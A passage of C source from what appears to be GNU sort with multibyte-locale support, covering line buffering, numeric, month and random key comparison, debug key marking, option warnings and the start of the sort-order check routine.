(ferror (fp)) die (_("read failed"), file); if (feof (fp)) { buf->eof = true; if (buf->buf == ptrlim) return false; if (line_start != ptrlim && ptrlim[-1] != eol) *ptrlim++ = eol; } } /* Find and record each line in the just-read input. */ while ((p = memchr (ptr, eol, ptrlim - ptr))) { /* Delimit the line with NUL. This eliminates the need to temporarily replace the last byte with NUL when calling xmemcoll(), which increases performance. */ *p = '\0'; ptr = p + 1; line--; line->text = line_start; line->length = ptr - line_start; mergesize = MAX (mergesize, line->length); avail -= line_bytes; if (key) { /* Precompute the position of the first key for efficiency. */ line->keylim = (key->eword == SIZE_MAX ? p : limfield (line, key)); if (key->sword != SIZE_MAX) line->keybeg = begfield (line, key); else { if (key->skipsblanks) { #if HAVE_MBRTOWC if (MB_CUR_MAX > 1) { size_t mblength; while (line_start < line->keylim && ismbblank (line_start, line->keylim - line_start, &mblength)) line_start += mblength; } else #endif while (blanks[to_uchar (*line_start)]) line_start++; } line->keybeg = line_start; } } line_start = ptr; } ptr = ptrlim; if (buf->eof) break; } buf->used = ptr - buf->buf; buf->nlines = buffer_linelim (buf) - line; if (buf->nlines != 0) { buf->left = ptr - line_start; merge_buffer_size = mergesize + MIN_MERGE_BUFFER_SIZE; return true; } { /* The current input line is too long to fit in the buffer. Increase the buffer size and try again, keeping it properly aligned. */ size_t line_alloc = buf->alloc / sizeof (struct line); buf->buf = x2nrealloc (buf->buf, &line_alloc, sizeof (struct line)); buf->alloc = line_alloc * sizeof (struct line); } } } /* Table that maps characters to order-of-magnitude values. */ static char const unit_order[UCHAR_LIM] = { #if ! ('K' == 75 && 'M' == 77 && 'G' == 71 && 'T' == 84 && 'P' == 80 \ && 'E' == 69 && 'Z' == 90 && 'Y' == 89 && 'k' == 107) /* This initializer syntax works on all C99 hosts. For now, use it only on non-ASCII hosts, to ease the pain of porting to pre-C99 ASCII hosts. */ ['K']=1, ['M']=2, ['G']=3, ['T']=4, ['P']=5, ['E']=6, ['Z']=7, ['Y']=8, ['k']=1, #else /* Generate the following table with this command: perl -e 'my %a=(k=>1, K=>1, M=>2, G=>3, T=>4, P=>5, E=>6, Z=>7, Y=>8); foreach my $i (0..255) {my $c=chr($i); $a{$c} ||= 0;print "$a{$c}, "}'\ |fmt */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 3, 0, 0, 0, 1, 0, 2, 0, 0, 5, 0, 0, 0, 4, 0, 0, 0, 0, 8, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 #endif }; /* Return an integer that represents the order of magnitude of the unit following the number. The number may contain thousands separators and a decimal point, but it may not contain leading blanks. Negative numbers get negative orders; zero numbers have a zero order. */ static int _GL_ATTRIBUTE_PURE find_unit_order (char const *number) { bool minus_sign = (*number == '-'); char const *p = number + minus_sign; int nonzero = 0; unsigned char ch; /* Scan to end of number. Decimals or separators not followed by digits stop the scan. Numbers ending in decimals or separators are thus considered to be lacking in units. FIXME: add support for multibyte thousands_sep and decimal_point. */ do { while (ISDIGIT (ch = *p++)) nonzero |= ch - '0'; } while (ch == thousands_sep); if (ch == decimal_point) while (ISDIGIT (ch = *p++)) nonzero |= ch - '0'; if (nonzero) { int order = unit_order[ch]; return (minus_sign ? -order : order); } else return 0; } /* Compare numbers A and B ending in units with SI or IEC prefixes <none/unknown> < K/k < M < G < T < P < E < Z < Y */ static int human_numcompare (char const *a, char const *b) { while (blanks[to_uchar (*a)]) a++; while (blanks[to_uchar (*b)]) b++; int diff = find_unit_order (a) - find_unit_order (b); return (diff ? diff : strnumcmp (a, b, decimal_point, thousands_sep)); } /* Compare strings A and B as numbers without explicitly converting them to machine numbers. Comparatively slow for short strings, but asymptotically hideously fast. */ static int numcompare_uni (const char *a, const char *b) { while (blanks[to_uchar (*a)]) a++; while (blanks[to_uchar (*b)]) b++; return strnumcmp (a, b, decimal_point, thousands_sep); } #if HAVE_MBRTOWC static int numcompare_mb (const char *a, const char *b) { size_t mblength, len; len = strlen (a); /* okay for UTF-8 */ while (*a && ismbblank (a, len > MB_CUR_MAX ? MB_CUR_MAX : len, &mblength)) { a += mblength; len -= mblength; } len = strlen (b); /* okay for UTF-8 */ while (*b && ismbblank (b, len > MB_CUR_MAX ? MB_CUR_MAX : len, &mblength)) b += mblength; return strnumcmp (a, b, decimal_point, thousands_sep); } #endif /* HAV_EMBRTOWC */ /* Work around a problem whereby the long double value returned by glibc's strtold ("NaN", ...) contains uninitialized bits: clear all bytes of A and B before calling strtold. FIXME: remove this function once gnulib guarantees that strtold's result is always well defined. */ static int nan_compare (char const *sa, char const *sb) { long_double a; memset (&a, 0, sizeof a); a = strtold (sa, NULL); long_double b; memset (&b, 0, sizeof b); b = strtold (sb, NULL); return memcmp (&a, &b, sizeof a); } static int general_numcompare (char const *sa, char const *sb) { /* FIXME: maybe add option to try expensive FP conversion only if A and B can't be compared more cheaply/accurately. */ char *ea; char *eb; long_double a = strtold (sa, &ea); long_double b = strtold (sb, &eb); /* Put conversion errors at the start of the collating sequence. */ if (sa == ea) return sb == eb ? 0 : -1; if (sb == eb) return 1; /* Sort numbers in the usual way, where -0 == +0. Put NaNs after conversion errors but before numbers; sort them by internal bit-pattern, for lack of a more portable alternative. */ return (a < b ? -1 : a > b ? 1 : a == b ? 0 : b == b ? -1 : a == a ? 1 : nan_compare (sa, sb)); } /* Return an integer in 1..12 of the month name MONTH. Return 0 if the name in S is not recognized. */ static int getmonth_uni (char const *month, size_t len, char **ea) { size_t lo = 0; size_t hi = MONTHS_PER_YEAR; while (blanks[to_uchar (*month)]) month++; do { size_t ix = (lo + hi) / 2; char const *m = month; char const *n = monthtab[ix].name; for (;; m++, n++) { if (!*n) { if (ea) *ea = (char *) m; return monthtab[ix].val; } if (to_uchar (fold_toupper[to_uchar (*m)]) < to_uchar (*n)) { hi = ix; break; } else if (to_uchar (fold_toupper[to_uchar (*m)]) > to_uchar (*n)) { lo = ix + 1; break; } } } while (lo < hi); return 0; } /* A randomly chosen MD5 state, used for random comparison. */ static struct md5_ctx random_md5_state; /* Initialize the randomly chosen MD5 state. */ static void random_md5_state_init (char const *random_source) { unsigned char buf[MD5_DIGEST_SIZE]; struct randread_source *r = randread_new (random_source, sizeof buf); if (! r) die (_("open failed"), random_source); randread (r, buf, sizeof buf); if (randread_free (r) != 0) die (_("close failed"), random_source); md5_init_ctx (&random_md5_state); md5_process_bytes (buf, sizeof buf, &random_md5_state); } /* This is like strxfrm, except it reports any error and exits. */ static size_t xstrxfrm (char *restrict dest, char const *restrict src, size_t destsize) { errno = 0; size_t translated_size = strxfrm (dest, src, destsize); if (errno) { error (0, errno, _("string transformation failed")); error (0, 0, _("set LC_ALL='C' to work around the problem")); error (SORT_FAILURE, 0, _("the untransformed string was %s"), quotearg_n_style (0, locale_quoting_style, src)); } return translated_size; } /* Compare the keys TEXTA (of length LENA) and TEXTB (of length LENB) using one or more random hash functions. TEXTA[LENA] and TEXTB[LENB] must be zero. */ static int compare_random (char *restrict texta, size_t lena, char *restrict textb, size_t lenb) { /* XFRM_DIFF records the equivalent of memcmp on the transformed data. This is used to break ties if there is a checksum collision, and this is good enough given the astronomically low probability of a collision. */ int xfrm_diff = 0; char stackbuf[4000]; char *buf = stackbuf; size_t bufsize = sizeof stackbuf; void *allocated = NULL; uint32_t dig[2][MD5_DIGEST_SIZE / sizeof (uint32_t)]; struct md5_ctx s[2]; s[0] = s[1] = random_md5_state; if (hard_LC_COLLATE) { char const *lima = texta + lena; char const *limb = textb + lenb; while (true) { /* Transform the text into the basis of comparison, so that byte strings that would otherwise considered to be equal are considered equal here even if their bytes differ. Each time through this loop, transform one null-terminated string's worth from TEXTA or from TEXTB or both. That way, there's no need to store the transformation of the whole line, if it contains many null-terminated strings. */ /* Store the transformed data into a big-enough buffer. */ /* A 3X size guess avoids the overhead of calling strxfrm twice on typical implementations. Don't worry about size_t overflow, as the guess need not be correct. */ size_t guess_bufsize = 3 * (lena + lenb) + 2; if (bufsize < guess_bufsize) { bufsize = MAX (guess_bufsize, bufsize * 3 / 2); free (allocated); buf = allocated = malloc (bufsize); if (! buf) { buf = stackbuf; bufsize = sizeof stackbuf; } } size_t sizea = (texta < lima ? xstrxfrm (buf, texta, bufsize) + 1 : 0); bool a_fits = sizea <= bufsize; size_t sizeb = (textb < limb ? (xstrxfrm ((a_fits ? buf + sizea : NULL), textb, (a_fits ? bufsize - sizea : 0)) + 1) : 0); if (! (a_fits && sizea + sizeb <= bufsize)) { bufsize = sizea + sizeb; if (bufsize < SIZE_MAX / 3) bufsize = bufsize * 3 / 2; free (allocated); buf = allocated = xmalloc (bufsize); if (texta < lima) strxfrm (buf, texta, sizea); if (textb < limb) strxfrm (buf + sizea, textb, sizeb); } /* Advance past NULs to the next part of each input string, exiting the loop if both strings are exhausted. When exiting the loop, prepare to finish off the tiebreaker comparison properly. */ if (texta < lima) texta += strlen (texta) + 1; if (textb < limb) textb += strlen (textb) + 1; if (! (texta < lima || textb < limb)) { lena = sizea; texta = buf; lenb = sizeb; textb = buf + sizea; break; } /* Accumulate the transformed data in the corresponding checksums. */ md5_process_bytes (buf, sizea, &s[0]); md5_process_bytes (buf + sizea, sizeb, &s[1]); /* Update the tiebreaker comparison of the transformed data. */ if (! xfrm_diff) { xfrm_diff = memcmp (buf, buf + sizea, MIN (sizea, sizeb)); if (! xfrm_diff) xfrm_diff = (sizea > sizeb) - (sizea < sizeb); } } } /* Compute and compare the checksums. */ md5_process_bytes (texta, lena, &s[0]); md5_finish_ctx (&s[0], dig[0]); md5_process_bytes (textb, lenb, &s[1]); md5_finish_ctx (&s[1], dig[1]); int diff = memcmp (dig[0], dig[1], sizeof dig[0]); /* Fall back on the tiebreaker if the checksums collide. */ if (! diff) { if (! xfrm_diff) { xfrm_diff = memcmp (texta, textb, MIN (lena, lenb)); if (! xfrm_diff) xfrm_diff = (lena > lenb) - (lena < lenb); } diff = xfrm_diff; } free (allocated); return diff; } /* Return the printable width of the block of memory starting at TEXT and ending just before LIM, counting each tab as one byte. FIXME: Should we generally be counting non printable chars? */ static size_t debug_width (char const *text, char const *lim) { size_t width = mbsnwidth (text, lim - text, 0); while (text < lim) width += (*text++ == '\t'); return width; } /* For debug mode, "underline" a key at the specified offset and screen width. */ static void mark_key (size_t offset, size_t width) { while (offset--) putchar (' '); if (!width) printf (_("^ no match for key\n")); else { do putchar ('_'); while (--width); putchar ('\n'); } } /* Return true if KEY is a numeric key. */ static inline bool key_numeric (struct keyfield const *key) { return key->numeric || key->general_numeric || key->human_numeric; } /* For LINE, output a debugging line that underlines KEY in LINE. If KEY is null, underline the whole line. */ static void debug_key (struct line const *line, struct keyfield const *key) { char *text = line->text; char *beg = text; char *lim = text + line->length - 1; if (key) { if (key->sword != SIZE_MAX) beg = begfield (line, key); if (key->eword != SIZE_MAX) lim = limfield (line, key); if (key->skipsblanks || key->month || key_numeric (key)) { char saved = *lim; *lim = '\0'; skipblanks (&beg, lim); char *tighter_lim = beg; if (lim < beg) tighter_lim = lim; else if (key->month) getmonth (beg, lim-beg, &tighter_lim); else if (key->general_numeric) ignore_value (strtold (beg, &tighter_lim)); else if (key->numeric || key->human_numeric) { char *p = beg + (beg < lim && *beg == '-'); bool found_digit = false; unsigned char ch; do { while (ISDIGIT (ch = *p++)) found_digit = true; } while (ch == thousands_sep); if (ch == decimal_point) while (ISDIGIT (ch = *p++)) found_digit = true; if (found_digit) tighter_lim = p - ! (key->human_numeric && unit_order[ch]); } else tighter_lim = lim; *lim = saved; lim = tighter_lim; } } size_t offset = debug_width (text, beg); size_t width = debug_width (beg, lim); mark_key (offset, width); } /* Debug LINE by underlining its keys. */ static void debug_line (struct line const *line) { struct keyfield const *key = keylist; do debug_key (line, key); while (key && ((key = key->next) || ! (unique || stable))); } /* Return whether sorting options specified for key. */ static bool default_key_compare (struct keyfield const *key) { return ! (key->ignore || key->translate || key->skipsblanks || key->skipeblanks || key_numeric (key) || key->month || key->version || key->random /* || key->reverse */ ); } /* Convert a key to the short options used to specify it. */ static void key_to_opts (struct keyfield const *key, char *opts) { if (key->skipsblanks || key->skipeblanks) *opts++ = 'b';/* either disables global -b */ if (key->ignore == nondictionary) *opts++ = 'd'; if (key->translate) *opts++ = 'f'; if (key->general_numeric) *opts++ = 'g'; if (key->human_numeric) *opts++ = 'h'; if (key->ignore == nonprinting) *opts++ = 'i'; if (key->month) *opts++ = 'M'; if (key->numeric) *opts++ = 'n'; if (key->random) *opts++ = 'R'; if (key->reverse) *opts++ = 'r'; if (key->version) *opts++ = 'V'; *opts = '\0'; } /* Output data independent key warnings to stderr. */ static void key_warnings (struct keyfield const *gkey, bool gkey_only) { struct keyfield const *key; struct keyfield ugkey = *gkey; unsigned long keynum = 1; for (key = keylist; key; key = key->next, keynum++) { if (key->obsolete_used) { size_t sword = key->sword; size_t eword = key->eword; char tmp[INT_BUFSIZE_BOUND (uintmax_t)]; /* obsolescent syntax +A.x -B.y is equivalent to: -k A+1.x+1,B.y (when y = 0) -k A+1.x+1,B+1.y (when y > 0) */ char obuf[INT_BUFSIZE_BOUND (sword) * 2 + 4]; /* +# -# */ char nbuf[INT_BUFSIZE_BOUND (sword) * 2 + 5]; /* -k #,# */ char *po = obuf; char *pn = nbuf; if (sword == SIZE_MAX) sword++; po = stpcpy (stpcpy (po, "+"), umaxtostr (sword, tmp)); pn = stpcpy (stpcpy (pn, "-k "), umaxtostr (sword + 1, tmp)); if (key->eword != SIZE_MAX) { stpcpy (stpcpy (po, " -"), umaxtostr (eword + 1, tmp)); stpcpy (stpcpy (pn, ","), umaxtostr (eword + 1 + (key->echar == SIZE_MAX), tmp)); } error (0, 0, _("obsolescent key %s used; consider %s instead"), quote_n (0, obuf), quote_n (1, nbuf)); } /* Warn about field specs that will never match. */ if (key->sword != SIZE_MAX && key->eword < key->sword) error (0, 0, _("key %lu has zero width and will be ignored"), keynum); /* Warn about significant leading blanks. */ bool implicit_skip = key_numeric (key) || key->month; bool maybe_space_aligned = !hard_LC_COLLATE && default_key_compare (key) && !(key->schar || key->echar); bool line_offset = key->eword == 0 && key->echar != 0; /* -k1.x,1.y */ if (!gkey_only && !tab_length && !line_offset && ((!key->skipsblanks && !(implicit_skip || maybe_space_aligned)) || (!key->skipsblanks && key->schar) || (!key->skipeblanks && key->echar))) error (0, 0, _("leading blanks are significant in key %lu; " "consider also specifying 'b'"), keynum); /* Warn about numeric comparisons spanning fields, as field delimiters could be interpreted as part of the number (maybe only in other locales). */ if (!gkey_only && key_numeric (key)) { size_t sword = key->sword + 1; size_t eword = key->eword + 1; if (!sword) sword++; if (!eword || sword < eword) error (0, 0, _("key %lu is numeric and spans multiple fields"), keynum); } /* Flag global options not copied or specified in any key. */ if (ugkey.ignore && (ugkey.ignore == key->ignore)) ugkey.ignore = NULL; if (ugkey.translate && (ugkey.translate == key->translate)) ugkey.translate = NULL; ugkey.skipsblanks &= !key->skipsblanks; ugkey.skipeblanks &= !key->skipeblanks; ugkey.month &= !key->month; ugkey.numeric &= !key->numeric; ugkey.general_numeric &= !key->general_numeric; ugkey.human_numeric &= !key->human_numeric; ugkey.random &= !key->random; ugkey.version &= !key->version; ugkey.reverse &= !key->reverse; } /* Warn about ignored global options flagged above. Note if gkey is the only one in the list, all flags are cleared. */ if (!default_key_compare (&ugkey) || (ugkey.reverse && (stable || unique) && keylist)) { bool ugkey_reverse = ugkey.reverse; if (!(stable || unique)) ugkey.reverse = false; /* The following is too big, but guaranteed to be "big enough". */ char opts[sizeof short_options]; key_to_opts (&ugkey, opts); error (0, 0, ngettext ("option '-%s' is ignored", "options '-%s' are ignored", select_plural (strlen (opts))), opts); ugkey.reverse = ugkey_reverse; } if (ugkey.reverse && !(stable || unique) && keylist) error (0, 0, _("option '-r' only applies to last-resort comparison")); } #if HAVE_MBRTOWC static int getmonth_mb (const char *s, size_t len, char **ea) { char *month; register size_t i; register int lo = 0, hi = MONTHS_PER_YEAR, result; char *tmp; size_t wclength, mblength; const char **pp; const wchar_t **wpp; wchar_t *month_wcs; mbstate_t state; while (len > 0 && ismbblank (s, len, &mblength)) { s += mblength; len -= mblength; } if (len == 0) return 0; month = (char *) xmalloc (len + 1); tmp = (char *) xmalloc (len + 1); memcpy (tmp, s, len); tmp[len] = '\0'; pp = (const char **)&tmp; month_wcs = (wchar_t *) xmalloc ((len + 1) * sizeof (wchar_t)); memset (&state, '\0', sizeof(mbstate_t)); wclength = mbsrtowcs (month_wcs, pp, len + 1, &state); if (wclength == (size_t)-1 || *pp != NULL) error (SORT_FAILURE, 0, _("Invalid multibyte input %s."), quote(s)); for (i = 0; i < wclength; i++) { month_wcs[i] = towupper(month_wcs[i]); if (iswblank (month_wcs[i])) { month_wcs[i] = L'\0'; break; } } wpp = (const wchar_t **)&month_wcs; mblength = wcsrtombs (month, wpp, len + 1, &state); assert (mblength != (-1) && *wpp == NULL); do { int ix = (lo + hi) / 2; if (strncmp (month, monthtab[ix].name, strlen (monthtab[ix].name)) < 0) hi = ix; else lo = ix; } while (hi - lo > 1); result = (!strncmp (month, monthtab[lo].name, strlen (monthtab[lo].name)) ? monthtab[lo].val : 0); if (ea && result) *ea = (char*) s + strlen (monthtab[lo].name); free (month); free (tmp); free (month_wcs); return result; } #endif /* Compare two lines A and B trying every key in sequence until there are no more keys or a difference is found. */ static int keycompare_uni (const struct line *a, const struct line *b) { struct keyfield *key = keylist; /* For the first iteration only, the key positions have been precomputed for us. */ char *texta = a->keybeg; char *textb = b->keybeg; char *lima = a->keylim; char *limb = b->keylim; int diff; while (true) { char const *translate = key->translate; bool const *ignore = key->ignore; /* Treat field ends before field starts as empty fields. */ lima = MAX (texta, lima); limb = MAX (textb, limb); /* Find the lengths. */ size_t lena = lima - texta; size_t lenb = limb - textb; if (hard_LC_COLLATE || key_numeric (key) || key->month || key->random || key->version) { char *ta; char *tb; size_t tlena; size_t tlenb; char enda IF_LINT (= 0); char endb IF_LINT (= 0); void *allocated IF_LINT (= NULL); char stackbuf[4000]; if (ignore || translate) { /* Compute with copies of the keys, which are the result of translating or ignoring characters, and which need their own storage. */ size_t i; /* Allocate space for copies. */ size_t size = lena + 1 + lenb + 1; if (size <= sizeof stackbuf) ta = stackbuf, allocated = NULL; else ta = allocated = xmalloc (size); tb = ta + lena + 1; /* Put into each copy a version of the key in which the requested characters are ignored or translated. */ for (tlena = i = 0; i < lena; i++) if (! (ignore && ignore[to_uchar (texta[i])])) ta[tlena++] = (translate ? translate[to_uchar (texta[i])] : texta[i]); ta[tlena] = '\0'; for (tlenb = i = 0; i < lenb; i++) if (! (ignore && ignore[to_uchar (textb[i])])) tb[tlenb++] = (translate ? translate[to_uchar (textb[i])] : textb[i]); tb[tlenb] = '\0'; } else { /* Use the keys in-place, temporarily null-terminated. */ ta = texta; tlena = lena; enda = ta[tlena]; ta[tlena] = '\0'; tb = textb; tlenb = lenb; endb = tb[tlenb]; tb[tlenb] = '\0'; } if (key->numeric) diff = numcompare (ta, tb); else if (key->general_numeric) diff = general_numcompare (ta, tb); else if (key->human_numeric) diff = human_numcompare (ta, tb); else if (key->month) diff = getmonth (ta, tlena, NULL) - getmonth (tb, tlenb, NULL); else if (key->random) diff = compare_random (ta, tlena, tb, tlenb); else if (key->version) diff = filevercmp (ta, tb); else { /* Locale-dependent string sorting. This is slower than C-locale sorting, which is implemented below. */ if (tlena == 0) diff = - NONZERO (tlenb); else if (tlenb == 0) diff = 1; else diff = xmemcoll0 (ta, tlena + 1, tb, tlenb + 1); } if (ignore || translate) free (allocated); else { ta[tlena] = enda; tb[tlenb] = endb; } } else if (ignore) { #define CMP_WITH_IGNORE(A, B) \ do \ { \ while (true) \ { \ while (texta < lima && ignore[to_uchar (*texta)]) \ ++texta; \ while (textb < limb && ignore[to_uchar (*textb)]) \ ++textb; \ if (! (texta < lima && textb < limb)) \ break; \ diff = to_uchar (A) - to_uchar (B); \ if (diff) \ goto not_equal; \ ++texta; \ ++textb; \ } \ \ diff = (texta < lima) - (textb < limb); \ } \ while (0) if (translate) CMP_WITH_IGNORE (translate[to_uchar (*texta)], translate[to_uchar (*textb)]); else CMP_WITH_IGNORE (*texta, *textb); } else if (lena == 0) diff = - NONZERO (lenb); else if (lenb == 0) goto greater; else { if (translate) { while (texta < lima && textb < limb) { diff = (to_uchar (translate[to_uchar (*texta++)]) - to_uchar (translate[to_uchar (*textb++)])); if (diff) goto not_equal; } } else { diff = memcmp (texta, textb, MIN (lena, lenb)); if (diff) goto not_equal; } diff = lena < lenb ? -1 : lena != lenb; } if (diff) goto not_equal; key = key->next; if (! key) break; /* Find the beginning and limit of the next field. */ if (key->eword != SIZE_MAX) lima = limfield (a, key), limb = limfield (b, key); else lima = a->text + a->length - 1, limb = b->text + b->length - 1; if (key->sword != SIZE_MAX) texta = begfield (a, key), textb = begfield (b, key); else { texta = a->text, textb = b->text; if (key->skipsblanks) { while (texta < lima && blanks[to_uchar (*texta)]) ++texta; while (textb < limb && blanks[to_uchar (*textb)]) ++textb; } } } return 0; greater: diff = 1; not_equal: return key->reverse ? -diff : diff; } #if HAVE_MBRTOWC static int keycompare_mb (const struct line *a, const struct line *b) { struct keyfield *key = keylist; /* For the first iteration only, the key positions have been precomputed for us. */ char *texta = a->keybeg; char *textb = b->keybeg; char *lima = a->keylim; char *limb = b->keylim; size_t mblength_a, mblength_b; wchar_t wc_a, wc_b; mbstate_t state_a, state_b; int diff = 0; memset (&state_a, '\0', sizeof(mbstate_t)); memset (&state_b, '\0', sizeof(mbstate_t)); /* Ignore keys with start after end. */ if (a->keybeg - a->keylim > 0) return 0; /* Ignore and/or translate chars before comparing. */ # define IGNORE_CHARS(NEW_LEN, LEN, TEXT, COPY, WC, MBLENGTH, STATE) \ do \ { \ wchar_t uwc; \ char mbc[MB_LEN_MAX]; \ mbstate_t state_wc; \ \ for (NEW_LEN = i = 0; i < LEN;) \ { \ mbstate_t state_bak; \ \ state_bak = STATE; \ MBLENGTH = mbrtowc (&WC, TEXT + i, LEN - i, &STATE); \ \ if (MBLENGTH == (size_t)-2 || MBLENGTH == (size_t)-1 \ || MBLENGTH == 0) \ { \ if (MBLENGTH == (size_t)-2 || MBLENGTH == (size_t)-1) \ STATE = state_bak; \ if (!ignore) \ COPY[NEW_LEN++] = TEXT[i]; \ i++; \ continue; \ } \ \ if (ignore) \ { \ if ((ignore == nonprinting && !iswprint (WC)) \ || (ignore == nondictionary \ && !iswalnum (WC) && !iswblank (WC))) \ { \ i += MBLENGTH; \ continue; \ } \ } \ \ if (translate) \ { \ \ uwc = towupper(WC); \ if (WC == uwc) \ { \ memcpy (mbc, TEXT + i, MBLENGTH); \ i += MBLENGTH; \ } \ else \ { \ i += MBLENGTH; \ WC = uwc; \ memset (&state_wc, '\0', sizeof (mbstate_t)); \ \ MBLENGTH = wcrtomb (mbc, WC, &state_wc); \ assert (MBLENGTH != (size_t)-1 && MBLENGTH != 0); \ } \ \ for (j = 0; j < MBLENGTH; j++) \ COPY[NEW_LEN++] = mbc[j]; \ } \ else \ for (j = 0; j < MBLENGTH; j++) \ COPY[NEW_LEN++] = TEXT[i++]; \ } \ COPY[NEW_LEN] = '\0'; \ } \ while (0) /* Actually compare the fields. */ for (;;) { /* Find the lengths. */ size_t lena = lima <= texta ? 0 : lima - texta; size_t lenb = limb <= textb ? 0 : limb - textb; char enda IF_LINT (= 0); char endb IF_LINT (= 0); char const *translate = key->translate; bool const *ignore = key->ignore; if (ignore || translate) { if (SIZE_MAX - lenb - 2 < lena) xalloc_die (); char *copy_a = (char *) xnmalloc (lena + lenb + 2, MB_CUR_MAX); char *copy_b = copy_a + lena * MB_CUR_MAX + 1; size_t new_len_a, new_len_b; size_t i, j; IGNORE_CHARS (new_len_a, lena, texta, copy_a, wc_a, mblength_a, state_a); IGNORE_CHARS (new_len_b, lenb, textb, copy_b, wc_b, mblength_b, state_b); texta = copy_a; textb = copy_b; lena = new_len_a; lenb = new_len_b; } else { /* Use the keys in-place, temporarily null-terminated. */ enda = texta[lena]; texta[lena] = '\0'; endb = textb[lenb]; textb[lenb] = '\0'; } if (key->random) diff = compare_random (texta, lena, textb, lenb); else if (key->numeric | key->general_numeric | key->human_numeric) { char savea = *lima, saveb = *limb; *lima = *limb = '\0'; diff = (key->numeric ? numcompare (texta, textb) : key->general_numeric ? general_numcompare (texta, textb) : human_numcompare (texta, textb)); *lima = savea, *limb = saveb; } else if (key->version) diff = filevercmp (texta, textb); else if (key->month) diff = getmonth (texta, lena, NULL) - getmonth (textb, lenb, NULL); else if (lena == 0) diff = - NONZERO (lenb); else if (lenb == 0) diff = 1; else if (hard_LC_COLLATE && !folding) { diff = xmemcoll0 (texta, lena + 1, textb, lenb + 1); } else { diff = memcmp (texta, textb, MIN (lena, lenb)); if (diff == 0) diff = lena < lenb ? -1 : lena != lenb; } if (ignore || translate) free (texta); else { texta[lena] = enda; textb[lenb] = endb; } if (diff) goto not_equal; key = key->next; if (! key) break; /* Find the beginning and limit of the next field. */ if (key->eword != -1) lima = limfield (a, key), limb = limfield (b, key); else lima = a->text + a->length - 1, limb = b->text + b->length - 1; if (key->sword != -1) texta = begfield (a, key), textb = begfield (b, key); else { texta = a->text, textb = b->text; if (key->skipsblanks) { while (texta < lima && ismbblank (texta, lima - texta, &mblength_a)) texta += mblength_a; while (textb < limb && ismbblank (textb, limb - textb, &mblength_b)) textb += mblength_b; } } } not_equal: if (key && key->reverse) return -diff; else return diff; } #endif /* Compare two lines A and B, returning negative, zero, or positive depending on whether A compares less than, equal to, or greater than B. */ static int compare (struct line const *a, struct line const *b) { int diff; size_t alen, blen; /* First try to compare on the specified keys (if any). The only two cases with no key at all are unadorned sort, and unadorned sort -r. */ if (keylist) { diff = keycompare (a, b); if (diff || unique || stable) return diff; } /* If the keys all compare equal (or no keys were specified) fall through to the default comparison. */ alen = a->length - 1, blen = b->length - 1; if (alen == 0) diff = - NONZERO (blen); else if (blen == 0) diff = 1; else if (hard_LC_COLLATE && !folding) { /* Note xmemcoll0 is a performance enhancement as it will not unconditionally write '\0' after the passed in buffers, which was seen to give around a 3% increase in performance for short lines. */ diff = xmemcoll0 (a->text, alen + 1, b->text, blen + 1); } else if (! (diff = memcmp (a->text, b->text, MIN (alen, blen)))) diff = alen < blen ? -1 : alen != blen; return reverse ? -diff : diff; } /* Write LINE to output stream FP; the output file's name is OUTPUT_FILE if OUTPUT_FILE is nonnull, and is the standard output otherwise. If debugging is enabled and FP is standard output, append some debugging information. */ static void write_line (struct line const *line, FILE *fp, char const *output_file) { char *buf = line->text; size_t n_bytes = line->length; char *ebuf = buf + n_bytes; if (!output_file && debug) { /* Convert TAB to '>' and EOL to \n, and then output debugging info. */ char const *c = buf; while (c < ebuf) { char wc = *c++; if (wc == '\t') wc = '>'; else if (c == ebuf) wc = '\n'; if (fputc (wc, fp) == EOF) die (_("write failed"), output_file); } debug_line (line); } else { ebuf[-1] = eolchar; if (fwrite (buf, 1, n_bytes, fp) != n_bytes) die (_("write failed"), output_file); ebuf[-1] = '\0'; } } /* Check that the lines read from FILE_NAME come in order. Return true if they are in order. If CHECKONLY == 'c', also print a diagnostic (FILE_NAME, line number, contents of line) to stderr if they are not in order. */ static bool check (char const *file_name, char checkonly) { FILE *fp = xfopen (file_name, "r"); struct buffer buf; /* Input buffer. */ struct line temp; /* Copy of previous line. */ size_t alloc = 0; uintmax_t line_number = 0; struct keyfield const *key = keylist; bool nonunique = ! unique; bool ordered = true; initbuf (&buf, sizeof (struct line), MAX (merge_buffer_size, sort_size)); temp.text = NULL; while (fillbuf (&buf, fp, file_name)) { struct line const *line = buffer_linelim (&buf); struct line const *linebase = line - buf.nlines; /* Make sure the line saved from the old buffer contents is less than or equal to the first line of the new buffer. */ if (alloc && nonunique <= compare (&temp, line - 1)) { found_disorder: { if (checkonly == 'c') { struct line const *disorder_line = line - 1; uintmax_t disorder_line_number = buffer_linelim (&buf) - disorder_line + line_number; char hr_buf[INT_BUFSIZE_BOUND (disorder_line_number)]; fprintf (stderr, _("%s: %s:%s: disorder: "), program_name, file_name, umaxtostr (disorder_line_number, hr_buf)); write_line (disorder_line, stderr, _("standard error")); } ordered = false; break; } } /* Compare each line in the buffer with its successor. */ while (linebase < --line) if (nonunique <= compare (line, line - 1)) goto found_disorder; line_number += buf.nlines; /* Save the last line of the buffer. */ if (alloc < line->length) { do { alloc *= 2; if (! alloc) { alloc = line->length; break; } } while (alloc < line->length); free (temp.text); temp.text = xmalloc (alloc); } memcpy (temp.text, line->text, line->length); temp.length = 